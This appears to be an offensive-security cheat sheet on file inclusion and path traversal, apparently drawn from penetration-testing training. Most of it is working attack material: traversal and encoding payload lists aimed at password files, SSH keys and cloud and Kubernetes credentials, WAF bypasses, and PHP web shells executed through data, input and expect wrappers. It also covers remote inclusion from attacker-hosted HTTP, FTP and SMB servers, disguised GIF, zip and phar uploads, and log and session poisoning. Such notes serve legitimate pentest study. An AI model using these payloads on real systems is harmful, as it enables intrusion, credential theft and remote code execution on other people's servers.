File Inclusion LFI / RFI

Local File Inclusion (LFI), Remote File Inclusion (RFI) and Path Traversal

PHP

If the path passed to the include() is taken from a user-controlled parameter, like a GET parameter, and the code does not explicitly filter and sanitize the user input, then the code becomes vulnerable to File Inclusion

if (isset($_GET['language'])) {
    include($_GET['language']);
}

PHP functions that would lead to the same vulnerability if we had control over the path passed into them: include_once(), require(), require_once(), file_get_contents()

NodeJS

readfile():

if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

render() in Express.js:

app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

include

<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

import

<c:import url= "<%= request.getParameter('language') %>"/>

.NET

Response.WriteFile

@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

@Html.Partial()

@Html.Partial(HttpContext.Request.Query['language'])

include

<!--#include file="<% HttpContext.Request.Query['language'] %>"-->

Read vs Execute

Function

Read Content

Execute

Remote URL

PHP

include()/include_once()

✅

require()/require_once()

✅

❌

file_get_contents()

✅

❌

✅

fopen()/file()

✅

❌

NodeJS

fs.readFile()

✅

❌

fs.sendFile()

✅

❌

res.render()

✅

❌

Java

include

✅

❌

import

✅

.NET

@Html.Partial()

✅

❌

@Html.RemotePartial()

✅

❌

✅

Response.WriteFile()

✅

❌

include

✅

Burp Extension

GitHub - murat-exp/SAPLAR: SAPLAR - LFI & Path Traversal ScannerGitHub

One Liner

GitHub - xnl-h4ck3r/urless: De-clutter a list of URLsGitHub

GitHub - hansmach1ne/LFImap: Local File Inclusion discovery and exploitation toolGitHub

$ waymore -i urls | tee urls-his
$ cat urls-his | gf lfi | urless|anew lfi
$ python3 http://lfimap.py -F lfi --use-long -a --no-stop

Path traversal vs LFI vs RFI

The main distinction lies in what the application does with the file once accessed. With path traversal, you can navigate directories and read files that should be out of reach. Arbitrary file read goes a step further by allowing you to read any file, regardless of its path.

But in some cases, the application doesn’t just read the file – it also includes and evaluates it. That’s how Local local File file Inclusion inclusion (LFI) comes into play.

Remote file inclusion (RFI) is similar to LFI but fetches the file from an external URL.

?page=http://attacker.com/shell.txt

Local File Inclusion (LFI)

Detection - Error Message

Warning: main(pages/$page): failed to open stream: No such file or directory in /home/enigmagroup/public_html/challenges/basics/vm/1/index.php on line 14

Basic LFI

include($_GET['language']);

http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

https://raw.githubusercontent.com/coffinxp/payloads/refs/heads/main/lfi.txt

/etc/passwd is forbidden - Try !/etc!/passwd

U.S. Dept Of Defense disclosed on HackerOne: Unauthenticated LFI...HackerOne

file:/etc/passwd%3F/ 
file:/etc%252Fpasswd/ 
file:/etc%252Fpasswd%3F/ 
file:///etc/%3F/../passwd 
file:${br}/et${u}c%252Fpas${te}swd%3F/ 
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/

WAF Bypass

/././etc/passwd
/..%2fetc/passwd
/etc/./passwd

Path Traversal

include("./languages/" . $_GET['language']);

../index.php
../../../../etc/passwd

http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd

http://XXX.org/basics/vm/1/index.php?page=../admin/.htpasswd

Other example:

GET /?file=report.pdf

GET /?file=../../../etc/passwd

Common vulnerable patterns include:

File download or export endpoints: /download?file=report.csv → file=../../../etc/passwd
Log viewers or debuggers: /view-log?path=latest.log
Template preview features: /preview?template=invoice.html
Internal file fetchers or backup tools: /api/fetch?name=backup.tar.gz

With Curl

--path-as-is

curl http://127.0.0.1:1234/../../../../../etc/passwd --path-as-is

PentesterLab Blog: Hacking with Curl!Pentesterlab

Fuzzing

Payloads

ffuf-u https://target.com/download?file=FUZZ -w path-wordlist.txt -fc 403

wfuzz/wordlist/vulns/dirTraversal.txt at master · xmendez/wfuzzGitHub

fuzzlists/LFI at main · nu11pointer/fuzzlistsGitHub

wfuzz/dirTraversal-nix.txt at master · xmendez/wfuzzGitHub

Auto_Wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_WordlistsGitHub

Auto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_WordlistsGitHub

payloads/directory_traversal.txt at main · coffinxp/payloadsGitHub

payloads/directory_traversal_unix.txt at main · coffinxp/payloadsGitHub

payloads/directory_traversal_win.txt at main · coffinxp/payloadsGitHub

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
. = %u002e
/ = %u2215
\ = %u2216
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
..././
...\.\
..;/
..;/..;/sensitive.txt 
. = %252e
/ = %252f
\ = %255c
file:///etc/passwd
http://127.0.0.1:8080
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
../../../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../etc/passwd%00.gif
/??c/?as?wd
!/etc!/passwd

NGINX Alias Path Traversal

Burp extension

GitHub - bayotop/off-by-slash: Burp extension to detect alias traversal via NGINX misconfiguration at scale.GitHub

Nginx

Value files to target

Unix/Linux

/etc/passwd – Proof of read
/etc/shadow – Credential hashes
/proc/self/environ – Environment variables (look for AWS keys, tokens, debug flags)
.env, config.json, settings.py, config.yaml – Secrets (DB creds, API keys, cloud access)
/var/run/secrets/kubernetes.io/serviceaccount/token – Kubernetes service account token
.bash_history, .git/config – operational commands and repo info

Windows

C:\Windows\win.ini – Classic PoC
C:\Users\Administrator\NTUser.dat – user data and registry hives
C:\inetpub\wwwroot\web.config – IIS credentials and app secrets
%APPDATA%\Microsoft\Credentials\ – Windows stored credentials

Web-specific and deployment-related

.git/config, .svn/entries – source control metadata
composer.lock, package-lock.json, yarn.lock – dependency info (may expose vulnerable packages)
docker-compose.yml, terraform.tfvars, cloudbuild.yaml – infrastructure-as-code secrets
Log files (access.log, error.log, etc.) – session tokens, JWTs, IPs, headers
credentials.json, secrets.json, .npmrc, .pypirc – API tokens, cloud creds
aws/credentials, ~/.aws/config – AWS IAM keys
.kube/config – Kubernetes cluster access
.npmrc, .gem/credentials, .docker/config.json – Package registry or container access tokens

AWS Environment

Look for /home/username/.aws/credentials

Filename Prefix

include("lang_" . $_GET['language']);

prefix a / before our payload, and this should consider the prefix as a directory

http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd

Note: This may not always work, as in this example a directory named lang_/ may not exist, so our relative path may not be correct. Furthermore, any prefix appended to our input may break some file inclusion techniques we will discuss in upcoming sections, like using PHP wrappers and filters or RFI.

Appended Extensions

include($_GET['language'] . ".php");

See Basic Bypass - Appended Extension

Second-Order Attacks

For example, a web application may allow us to download our avatar through a URL like (/profile/$username/avatar.png). If we craft a malicious LFI username (e.g. ../../../etc/passwd), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.

Django, Rails, or Node.js Web Application Header Values

Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{

Windows LFI

Bug-Bounty-Wordlists/windows-lfi.txt at main · Karanxa/Bug-Bounty-WordlistsGitHub

Auto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_WordlistsGitHub

Payload List

https://raw.githubusercontent.com/coffinxp/payloads/refs/heads/main/lfi.txt

file:/etc/passwd%3F/ 
file:/etc%252Fpasswd/ 
file:/etc%252Fpasswd%3F/ 
file:///etc/%3F/../passwd 
file:${br}/et${u}c%252Fpas${te}swd%3F/ 
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/

WAF Basic Bypasses

/etc/passwd is forbidden - Try !/etc!/passwd

If the WAF blocks you from reading /etc/passwd directly, you can use ? to bypass it.

curl http://vulnerable-web.io/read.php?filename=/etc/passwd -i
HTTP/1.1 403 Forbidden
[...]

curl http://vulnerable-web.io/read.php?filename=/??c/?as?wd -i
HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

Non-Recursive Path Traversal Filters

$language = str_replace('../', '', $_GET['language']);

....//

http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

Other bypass:

..././
escaping the forward slash character: ....\/
adding extra forward slashes: ....////

Encoding

Core PHP filters on versions 5.3.4 and earlier were specifically vulnerable to this bypass, but even on newer versions we may find custom filters that may be bypassed through URL encoding

Encode ../ into %2e%2e%2f

Note: For this to work we must URL encode all characters, including the dots. Some URL encoders may not encode dots as they are considered to be part of the URL scheme.

<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded string, which may also bypass other types of filters.

%252e%252e%252f

Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also work.

You may refer to the Command Injections module for more about bypassing various blacklisted characters, as the same techniques may be used with LFI as well.

Command Injection

Approved Paths

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

To find the approved path, we can examine the requests sent by the existing forms, and see what path they use for the normal web functionality. Furthermore, we can fuzz web directories under the same path, and try different ones until we get a match. To bypass this, we may use path traversal and start our payload with the approved path

<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

http://URL/index.php?language=languages/..././..././..././..././flag.txt

filename=/var/www/images/../../../etc/passwd

Appended Extension

With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful, as we will see in the next section (e.g. for reading source code).

There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4.

Path Truncation

In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.) then the /. would also be truncated, and PHP would call (/etc/passwd). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd is the same as /etc/passwd). Similarly, a current directory shortcut (.) in the middle of the path would also be disregarded (e.g. /etc/./passwd).

It is also important to note that we would also need to start the path with a non-existing directory for this technique to work.

?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././

Null Bytes

An application may require the user-supplied filename to end with an expected file extension, such as .png.

Adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.

/etc/passwd%00 => /etc/passwd%00.php

filename=../../../etc/passwd%00.png

PHP Filters

Input Filters

php://filter/

The filter that is useful for LFI attacks is the convert.base64-encode filter

Fuzzing for PHP Files

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

Tip: Unlike normal web application usage, we are not restricted to pages with HTTP response code 200, as we have local file inclusion access, so we should be scanning for all codes, including 301, 302 and 403 pages, and we should be able to read their source code as well.

Start by reading index.php and scanning it for more references and so on, but fuzzing for PHP files may reveal some files that may not otherwise be found that way.

Source Code Disclosure

php://filter/read=convert.base64-encode/resource=config

http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config

Note: We intentionally left the resource file at the end of our string, as the .php extension is automatically appended to the end of our input string, which would make the resource we specified be config.php.

echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

Tip: When copying the base64 encoded string, be sure to copy the entire string or it will not fully decode. You can view the page source to ensure you copy the entire string.

Error-based oracle - Dump File

Introducing lightyear: a new way to dump PHP filesAmbionics

GitHub - ambionics/lightyear: lightyear is a tool to dump files in tedious (blind) conditions using PHP filtersGitHub

PHP Wrappers

Data

The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include) setting is enabled in the PHP configurations.

This option is not enabled by default, and is required for several other LFI attacks, like using the input wrapper or for any RFI attack

PHP Configurations

/etc/php/X.Y/apache2/php.ini for Apache /etc/php/X.Y/fpm/php.ini) for Nginx

where X.Y is your install PHP version

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On

Remote Code Execution

echo '<?php system($_GET["cmd"]); ?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

We can URL encode the base64 string, and then pass it to the data wrapper with data://text/plain;base64

http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Input

We pass our input to the input wrapper as a POST request's data. . So, the vulnerable parameter must accept POST requests for this attack to work

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note: To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use $_REQUEST). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. <\?php system('id')?>)

Expect

Don't need to provide a web shell, as it is designed to execute commands.

Determine whether Expect is installed on the back-end server - See PHP Configurations

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect

Use expect:// wrapper

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

expect module also use for XXE vulnerabilities

XXE / XSLT

Cookie Based PHP Local File Inclusion ( Bug Bounty)Medium

Remote File Inclusion (RFI)

Bug-Bounty-Methodology/Remote File Inclusion.md at main · trilokdhaked/Bug-Bounty-MethodologyGitHub

"Remote File Inclusion (RFI)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:

Enumerating local-only ports and web applications (i.e. SSRF)
Gaining remote code execution by including a malicious script that we host

The Server-side Attacks module (Bug Bounty Hunter Path) covers various SSRF techniques, which may also be used with RFI vulnerabilities.

LFI may not necessarily be an RFI - See Read vs. Execute

Verify RFI

See PHP Configurations

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On

This may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.

A more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL, and see if we can get its content

We should always start by trying to include a local URL

http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php

Note: It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.

Remote Code Execution with RFI

We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell

Web Shell

echo '<?php system($_GET["cmd"]); ?>' > shell.php

It is a good idea to listen on a common HTTP port like 80 or 443, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service

HTTP

sudo python3 -m http.server <LISTENING_PORT>

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Tip: We can examine the connection on our machine to ensure the request is being sent as we specified it. For example, if we saw an extra extension (.php) was appended to the request, then we can omit it from our payload

FTP

sudo python -m pyftpdlib -p 21

[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None

http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

If the server requires valid authentication, then the credentials can be specified in the URL, as follows:

curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'

SMB

If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion.

impacket-smbserver -smb2support share $(pwd)

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

This technique is more likely to work if we were on the same network, as accessing remote SMB servers over the internet may be disabled by default, depending on the Windows server configurations

LFI and File Uploads

File Upload Attacks

Crafting Malicious Image

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Note: We are using a GIF image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type.

We need to know the path to our uploaded file - Source code analysis

<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">

Note: As we can see, we can use /profile_images/shell.gif for the file path. If we do not know where the file is uploaded, then we can fuzz for an uploads directory, and then fuzz for our uploaded file, though this may not always work as some web applications properly hide the uploaded files.

http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

Note: To include to our uploaded file, we used ./profile_images/ as in this case the LFI vulnerability does not prefix any directories before our input. In case it did prefix a directory before our input, then we simply need to ../ out of that directory and then use our URL path, as we learned in previous sections.

Zip Upload

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

Note: Even though we named our zip archive as (shell.jpg), some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed.

http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Note: We added the uploads directory (./profile_images/) before the file name, as the vulnerable page (index.php) is in the main directory.

Phar Upload

shell.php:

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

Compiled into a phar file:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

LFI2RCE via phpinfo()

LFI2RCE via phpinfo()HackTricks

LFI/uploads which occurs if file uploads is enabled in the PHP configurations and the phpinfo() page is somehow exposed to us

Log Poisoning

For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.

PHP Session Poisoning

/var/lib/php/sessions/ on Linux and in C:\Windows\Temp\ on Windows

If the PHPSESSID cookie is set to el4ukv0kqbvoirg7nkp4dncpk3, then its location on disk would be /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3

Use the cookie value you find in your own session

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning

Include the session file once again

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

Writing PHP code to the session file

http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

Include the session file and use the &cmd=id

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

Note: To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction.

Server Log Poisoning

Apache logs are located in /var/log/apache2/ on Linux and in C:\xampp\apache\logs\ on Windows, while Nginx logs are located in /var/log/nginx/ on Linux and in C:\nginx\log\ on Windows

The logs may be in a different location in some cases => Fuzz

SecLists/Fuzzing/LFI at master · danielmiessler/SecListsGitHub

http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log

User-Agent header is controlled by us through the HTTP request headers, so we should be able to poison this value.

Tip: Logs tend to be huge, and loading them in an LFI vulnerability may take a while to load, or even crash the server in worst-case scenarios. So, be careful and efficient with them in a production environment, and don't send unnecessary requests.

Note: As all requests to the server get logged, we can poison any request to the web application, and not necessarily the LFI one as we did above.

or with Curl

curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"

Using Burp is safer, Curl can overwrite the log file

We can specify a command to be executed with (?cmd=id)

index.php?log=../../../../../../../../../../../..//var/log/nginx/access.log&cmd=id

Tip: The User-Agent header is also shown on process files under the Linux /proc/ directory. So, we can try including the /proc/self/environ or /proc/self/fd/N files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.

Service logs we may be able to read:

/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log

Automated Scanning

Fuzzing parameters

Fuzzing

Fuzz for exposed parameters

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287

Tip: For a more precise scan, we can limit our scan to the most popular LFI parameters

top25-parameter/lfi-parameters.txt at master · lutfumertceylan/top25-parameterGitHub

LFI wordlists

SecLists/Fuzzing/LFI at master · danielmiessler/SecListsGitHub

Start with LFI-Jhaddix.txt: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

Fuzzing Server Files

Server Webroot

Linux:

SecLists/default-web-root-directory-linux.txt at master · danielmiessler/SecListsGitHub

Windows

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt

Depending on our LFI situation, we may need to add a few back directories (e.g. ../../../../), and then add our index.php afterwords.

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

Also try LFI-Jhaddix.txt

Server Logs/Configurations

Start with LFI-Jhaddix.txt

More payload:

Linux

https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux

Windows

https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf

...SNIP...
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...

We do get the default webroot path and the log path. However, in this case, the log path is using a global apache variable (APACHE_LOG_DIR), which are found in another file we saw above, which is (/etc/apache2/envvars)

curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars

...SNIP...
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
...SNIP...

The (APACHE_LOG_DIR) variable is set to (/var/log/apache2), and the previous configuration told us that the log files are /access.log and /error.log

Tools

GitHub - Cybersecurity-Ethical-Hacker/lfier: 🔍 LFIer is a powerful and efficient tool for detecting Local File Inclusion (LFI) vulnerabilities in web applications.GitHub

GitHub - hansmach1ne/LFImap: Local File Inclusion discovery and exploitation toolGitHub

GitHub - mzfr/liffy: Local file inclusion exploitation toolGitHub

GitHub - OsandaMalith/LFiFreak: A unique automated LFi Exploiter with Bind/Reverse ShellsGitHub

GitHub - D35m0nd142/LFISuite: Totally Automatic LFI Exploiter (+ Reverse Shell) and ScannerGitHub

GitHub - momenbasel/liffier: tired of manually add dot-dot-slash to your possible path traversal? this short snippet will increment ../ on the URL.GitHub

dotdotpwn -m http-url -h "example.com/index.php?p=TRAVERSAL" -f "/pages/home" -k "Scan"

Resources

Beyond dot dot slash: a practical guide to path traversal and arbitrary file read attacks – a practical guide to path traversal and arbitrary file read attacks

Bug-Bounty-Methodology/Local File Inclusion.md at main · trilokdhaked/Bug-Bounty-MethodologyGitHub

File path traversal

What is directory traversal, and how to prevent it? | Web Security AcademyWebSecAcademy

Path Traversal | OWASP Foundation

Directory Traversal (Path Traversal)Invicti

Local File Inclusion · CTF

File Inclusion and Path Traversal - Web Applications Pentesting

